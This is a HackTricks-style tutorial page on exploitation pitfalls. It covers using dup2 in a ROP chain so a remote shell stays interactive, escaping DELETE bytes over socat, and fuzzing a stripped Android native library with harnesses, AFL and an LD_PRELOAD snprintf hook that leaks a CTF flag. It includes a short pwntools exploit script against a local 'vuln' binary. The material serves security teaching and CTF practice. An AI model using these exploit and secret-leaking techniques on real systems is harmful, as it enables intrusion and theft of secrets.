Common Exploiting Problems

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

FDs in Remote Exploitation

When sending an exploit to a remote server that calls system('/bin/sh') for example, this will be executed in the server process ofc, and /bin/sh will expect input from stdin (FD: 0) and will print the output in stdout and stderr (FDs 1 and 2). So the attacker won’t be able to interact with the shell.

A way to fix this is to suppose that when the server started it created the FD number 3 (for listening) and that then, your connection is going to be in the FD number 4. Therefore, it’s possible to use the syscall dup2 to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it’ll make feasible to contact the shell once it’s executed.

Exploit example from here:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Note that socat already transfers stdin and stdout to the socket. However, the pty mode include DELETE characters. So, if you send a \x7f ( DELETE -)it will delete the previous character of your exploit.

In order to bypass this the escape character \x16 must be prepended to any \x7f sent.

Here you can find an example of this behaviour.

Android AArch64 shared-library fuzzing & LD_PRELOAD hooking

When an Android app ships only a stripped AArch64 .so, you can still fuzz exported logic directly on-device without rebuilding the APK. A practical workflow:

  1. Locate callable entry points. objdump -T libvalidate.so | grep -E "validate" quickly lists exported functions. Decompilers (Ghidra, IDA, BN) reveal the real signature, e.g. int validate(const uint8_t *buf, uint64_t len).
  2. Write a standalone harness. Load a file, keep the buffer alive, and call the exported symbol exactly as the app would. Cross-compile with the NDK (e.g. aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal file-driven harness
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) {
    if (argc < 2) return 1;
    int fd = open(argv[1], O_RDONLY);
    if (fd < 0) return 1;
    struct stat st = {0};
    if (fstat(fd, &st) < 0) return 1;
    uint8_t *buffer = malloc(st.st_size + 1);
    read(fd, buffer, st.st_size);
    close(fd);
    int ret = validate(buffer, st.st_size);
    free(buffer);
    return ret;
}
  1. Reconstruct the expected structure. Error strings and comparisons in Ghidra showed the function parsed strict JSON with constant keys (magic, version, nested root.children.*) and arithmetic checks (e.g., value * 2 == 84value must be 42). Feeding syntactically valid JSON that progressively satisfies each branch lets you map the schema without instrumentation.
  2. Bypass anti-debug to leak secrets. Because the .so imports snprintf, override it with LD_PRELOAD to dump sensitive format strings even when breakpoints are blocked:
Minimal snprintf leak hook
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
    static vsnprintf_t real_vsnprintf;
    if (!real_vsnprintf)
        real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

    va_list args;
    va_start(args, fmt);
    va_list args_copy;
    va_copy(args_copy, args);
    if (fmt && strstr(fmt, "MHL{")) {
        fprintf(stdout, "[LD_PRELOAD] flag: ");
        vfprintf(stdout, fmt, args);
        fputc('\n', stdout);
    }
    int ret = real_vsnprintf(str, size, fmt, args_copy);
    va_end(args_copy);
    va_end(args);
    return ret;
}

LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates the internal flag and confirms the crash oracle without patching the binary. 5. Shrink the fuzz space. Disassembly exposed an XOR key reused across the flag comparison, meaning the first seven bytes of flag were known. Only fuzz the nine unknown bytes. 6. Embed fuzz bytes inside a valid JSON envelope. The AFL harness reads exactly nine bytes from stdin, copies them into the flag suffix, and hard-codes every other field (constants, tree depths, arithmetic preimage). Any malformed read simply exits, so AFL spends cycles on meaningful testcases.

AFL-friendly harness for structured JSON
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) {
    uint8_t blob[FUZZ_SIZE];
    if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
    char suffix[FUZZ_SIZE + 1];
    memcpy(suffix, blob, FUZZ_SIZE);
    suffix[FUZZ_SIZE] = '\0';
    char json[512];
    int len = snprintf(json, sizeof(json),
        "{\"magic\":16909060,\"version\":1,\"padding\":0,\"flag\":\"MHL{827b07c%s}\"," \
        "\"root\":{\"type\":16,\"level\":3,\"num_children\":1,\"children\":[" \
        "{\"type\":32,\"level\":2,\"num_children\":1,\"subchildren\":[" \
        "{\"type\":48,\"level\":1,\"num_children\":1,\"leaves\":[" \
        "{\"type\":64,\"level\":0,\"reserved\":0,\"value\":42}]}}]}}",
        suffix);
    if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
    validate((unsigned char *)json, len);
    return 0;
}
  1. Run AFL with the crash-as-success oracle. Any input that satisfies every semantic check and guesses the correct nine-byte suffix triggers the deliberate crash; those files land in output/crashes and can be replayed through the simple harness to recover the secret.

This workflow lets you triage anti-debug-protected JNI validators quickly, leak secrets when needed, then fuzz only the meaningful bytes, all without touching the original APK.

Reversing Native Libraries

Reversing Tools & Basic Methods

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks